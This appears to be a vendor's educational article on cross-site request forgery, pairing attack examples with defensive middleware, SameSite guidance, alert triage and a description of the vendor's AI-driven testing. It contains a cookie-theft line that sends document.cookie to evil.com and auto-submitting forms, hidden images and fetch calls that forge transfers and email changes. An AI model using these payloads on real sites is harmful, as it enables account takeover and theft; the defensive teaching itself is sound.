Cross-Site Request Forgery Pentesting
Your Logged-In Users Are Being Weaponized Against You

// CROSS-SITE SCRIPTING (XSS)
// Attacker injects code INTO your application
// The malicious script runs in your origin, with full access
// Result: Attacker can steal cookies, modify page content, impersonate users

// Example: Attacker's script injected into your page
document.location = 'https://evil.com/steal?cookie=' + document.cookie;
// This runs ON YOUR SITE, so it can read your site's cookies

// CROSS-SITE REQUEST FORGERY (CSRF)  
// Attacker's website makes requests TO your application
// The request comes FROM a different origin but carries the user's cookies
// Result: Attacker can perform actions AS the authenticated user

// Example: On attacker's website (evil.com)
<form action="https://yourbank.com/transfer" method="POST" id="attack">
  <input type="hidden" name="to" value="attacker-account" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('attack').submit();</script>
// User's browser sends the request WITH their session cookies

<!-- Attacker hosts this on any website victim might visit -->
<!-- Victim is already logged into vulnerable-app.com -->

<!-- Attack Method 1: Invisible Image (GET request) -->
<!-- Browser automatically makes this request -->
<img src="https://vulnerable-app.com/api/user/change-email?email=attacker@evil.com" 
     style="display:none" />

<!-- Attack Method 2: Auto-Submitting Form (POST request) -->
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://vulnerable-app.com/api/transfer" 
      method="POST" 
      target="csrf-frame" 
      id="csrf-attack">
  <input type="hidden" name="recipient" value="attacker@evil.com" />
  <input type="hidden" name="amount" value="5000" />
</form>
<script>
  // Form submits immediately when page loads
  document.getElementById('csrf-attack').submit();
</script>

<!-- Attack Method 3: JavaScript Fetch (if CORS is misconfigured) -->
<script>
fetch('https://vulnerable-app.com/api/settings', {
  method: 'POST',
  credentials: 'include',  // Includes victim's cookies
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: 'email=attacker@evil.com'
});
</script>

<!-- The victim sees nothing. Their browser did all the work. -->

// BROKEN: These implementations give false security

// Problem 1: Only checking if token MATCHES, not if it EXISTS
app.post('/api/transfer', (req, res) => {
  const token = req.body.csrf_token;
  // If token is undefined, this check passes!
  if (token && token !== req.session.csrfToken) {
    return res.status(403).json({ error: 'CSRF token mismatch' });
  }
  // Attacker simply omits the token entirely
  processTransfer(req.body);
});

// Problem 2: Predictable token generation
const generateToken = (userId) => {
  return crypto.createHash('md5').update(userId + 'secret').digest('hex');
};
// Attacker can compute this if they know the user ID

// Problem 3: Global tokens not tied to sessions
const globalToken = crypto.randomBytes(32).toString('hex');
// Any user's token works for any other user

// CORRECT: Proper validation
app.post('/api/transfer', (req, res) => {
  const token = req.body.csrf_token;
  
  // Token MUST exist
  if (!token) {
    logger.warn('Potential CSRF attack detected - missing token');
    return res.status(403).json({ error: 'CSRF token required' });
  }
  
  // Token MUST match session
  if (!crypto.timingSafeEqual(
    Buffer.from(token), 
    Buffer.from(req.session.csrfToken)
  )) {
    logger.warn('Potential CSRF attack detected - token mismatch');
    return res.status(403).json({ error: 'CSRF token mismatch' });
  }
  
  processTransfer(req.body);
});

// SameSite cookie configuration
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

// SameSite=Strict: Cookie not sent on ANY cross-site request
// SameSite=Lax: Cookie sent on top-level navigations (links, GET)
// SameSite=None: Cookie always sent (must have Secure flag)

// BYPASS 1: Top-level navigation with SameSite=Lax
// Many sites use Lax because Strict breaks legitimate cross-site links
<a href="https://vulnerable-app.com/unsubscribe?user=123" 
   target="_blank">Click for free gift!</a>
// With Lax, the cookie IS sent for this top-level GET request
// If /unsubscribe changes state via GET, it is still vulnerable

// BYPASS 2: Subdomain takeover
// Attacker takes over abandoned.yourapp.com
// Cookies for yourapp.com are accessible from subdomains
// SameSite does not protect against same-site (subdomain) attacks

// BYPASS 3: Browser inconsistencies
// Older browsers ignore SameSite entirely
// Safari had implementation bugs until 2022
// Some corporate proxies strip cookie attributes

// BYPASS 4: POST-based top-level navigation (Chrome behavior)
// Within 2 minutes of cookie being set, Chrome allows cross-site POST
// This is a known behavior for compatibility reasons

// DEFENSE IN DEPTH: Use SameSite AND CSRF tokens
Set-Cookie: session=abc123; SameSite=Lax; Secure; HttpOnly
// Plus: Validate CSRF token on every state-changing request
// Plus: Verify Origin/Referer headers as additional check

// Comprehensive CSRF protection with logging

const csrfProtection = (req, res, next) => {
  // Skip for safe methods
  if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) {
    return next();
  }
  
  const token = req.body._csrf || req.headers['x-csrf-token'];
  const sessionToken = req.session?.csrfToken;
  
  // Build context for logging
  const context = {
    endpoint: req.path,
    method: req.method,
    ip: req.ip,
    userAgent: req.headers['user-agent'],
    origin: req.headers['origin'],
    referer: req.headers['referer'],
    userId: req.session?.userId || 'anonymous',
    timestamp: new Date().toISOString()
  };
  
  if (!token) {
    logger.warn('Potential CSRF attack detected: Missing token', context);
    return res.status(403).json({ error: 'CSRF token required' });
  }
  
  if (!sessionToken) {
    logger.warn('Potential CSRF attack detected: No session token', context);
    return res.status(403).json({ error: 'Session expired' });
  }
  
  if (!timingSafeEqual(token, sessionToken)) {
    logger.warn('Potential CSRF attack detected: Token mismatch', context);
    return res.status(403).json({ error: 'Invalid CSRF token' });
  }
  
  next();
};

// Investigation checklist for CSRF alerts:
// 1. Check origin/referer - does it reveal the attack source?
// 2. Pattern analysis - is the same IP hitting multiple endpoints?
// 3. Timing analysis - automated attacks show consistent intervals
// 4. User impact - are legitimate users seeing errors? (broken AJAX)
// 5. Correlation - do CSRF alerts coincide with other suspicious activity?

// How PentestMate's AI agents test for CSRF vulnerabilities:

// 1. Endpoint Discovery
// We map every state-changing endpoint in your application
// Not just forms - APIs, AJAX endpoints, WebSocket actions

// 2. Token Presence Testing
// For each endpoint, we verify a CSRF token is required
// Many applications protect /transfer but forget /settings

// 3. Token Validation Testing
// We probe with:
// - Missing tokens entirely
// - Empty string tokens
// - Tokens from different sessions
// - Expired tokens
// - Malformed tokens
// - Another user's valid token

// 4. Bypass Techniques
// - Omitting the token parameter vs sending empty
// - Changing request method (POST to GET)
// - Modifying Content-Type headers
// - Testing with and without Origin/Referer
// - Subdomain origin testing

// 5. Continuous Monitoring
// New code deploys can break CSRF protection
// Developers might disable protection "temporarily"
// We run these tests continuously, not just once

// Result: Comprehensive CSRF coverage that catches
// what traditional scanners miss